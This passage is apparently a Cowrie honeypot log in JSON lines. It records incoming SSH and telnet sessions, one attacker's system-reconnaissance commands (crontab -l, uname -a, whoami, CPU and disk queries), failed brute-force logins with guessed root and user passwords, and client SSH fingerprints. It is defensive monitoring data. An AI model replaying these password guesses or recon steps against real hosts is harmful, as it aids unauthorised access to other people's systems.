{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:40.468796Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:40.599819Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:40.603002Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:40.644709Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:40.775827Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:40.779761Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:40.822767Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:40.951799Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:40.955223Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:40.998041Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:41.124379Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:41.128603Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:41.172288Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:41.290395Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:41.294001Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:41.336532Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:41.460662Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:41.464466Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:41.507221Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:41.659749Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:41.663185Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:41.704699Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:41.827957Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:41.831999Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:41.875550Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:41.996761Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:42.000527Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:42.043572Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:42.168697Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:42.172518Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:42.216942Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:04:42.221980Z","src_ip":"13.67.236.135","session":"c89ec7ad4f52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":43162,"dst_ip":"159.203.135.109","dst_port":22,"session":"c20d8240ca5f","protocol":"ssh","message":"New connection: 193.24.211.100:43162 (159.203.135.109:22) [session: c20d8240ca5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:05:37.084454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:05:37.088800Z","src_ip":"193.24.211.100","session":"c20d8240ca5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:05:37.257823Z","src_ip":"193.24.211.100","session":"c20d8240ca5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sugipula","message":"login attempt [root/sugipula] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:05:37.697450Z","src_ip":"193.24.211.100","session":"c20d8240ca5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:05:38.809666Z","src_ip":"193.24.211.100","session":"c20d8240ca5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.183.192","src_port":53906,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8b59effbd7a","protocol":"telnet","message":"New connection: 103.153.183.192:53906 (10.17.0.5:23) [session: c8b59effbd7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:05:47.840739Z"}
{"eventid":"cowrie.session.closed","duration":0.005736827850341797,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:05:47.846316Z","src_ip":"103.153.183.192","session":"c8b59effbd7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.183.192","src_port":55272,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0b5da387345","protocol":"telnet","message":"New connection: 103.153.183.192:55272 (10.17.0.5:23) [session: f0b5da387345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:05:57.092230Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":45064,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbc0108c20bd","protocol":"ssh","message":"New connection: 141.11.21.145:45064 (159.203.135.109:22) [session: bbc0108c20bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:06:14.689348Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:06:14.770712Z","src_ip":"141.11.21.145","session":"bbc0108c20bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":45068,"dst_ip":"159.203.135.109","dst_port":22,"session":"dab27883c5cc","protocol":"ssh","message":"New connection: 141.11.21.145:45068 (159.203.135.109:22) [session: dab27883c5cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:06:14.845241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:06:14.850168Z","src_ip":"141.11.21.145","session":"dab27883c5cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:06:14.933877Z","src_ip":"141.11.21.145","session":"dab27883c5cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3edc@WSX1qaz","message":"login attempt [root/3edc@WSX1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:06:15.174755Z","src_ip":"141.11.21.145","session":"dab27883c5cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:06:16.256593Z","src_ip":"141.11.21.145","session":"dab27883c5cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":60398,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcbab21ba850","protocol":"ssh","message":"New connection: 2.57.122.208:60398 (159.203.135.109:22) [session: fcbab21ba850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:06:22.686401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:06:22.989652Z","src_ip":"2.57.122.208","session":"fcbab21ba850","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:06:22.993289Z","src_ip":"2.57.122.208","session":"fcbab21ba850","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:06:24.910185Z","src_ip":"2.57.122.208","session":"fcbab21ba850","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:06:26.255420Z","src_ip":"2.57.122.208","session":"fcbab21ba850","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.04859256744385,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:06:43.140669Z","src_ip":"103.153.183.192","session":"f0b5da387345","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":41194,"dst_ip":"10.17.0.5","dst_port":22,"session":"5aa3edc74440","protocol":"ssh","message":"New connection: 103.15.226.202:41194 (10.17.0.5:22) [session: 5aa3edc74440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:07:57.470426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:07:57.474581Z","src_ip":"103.15.226.202","session":"5aa3edc74440","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 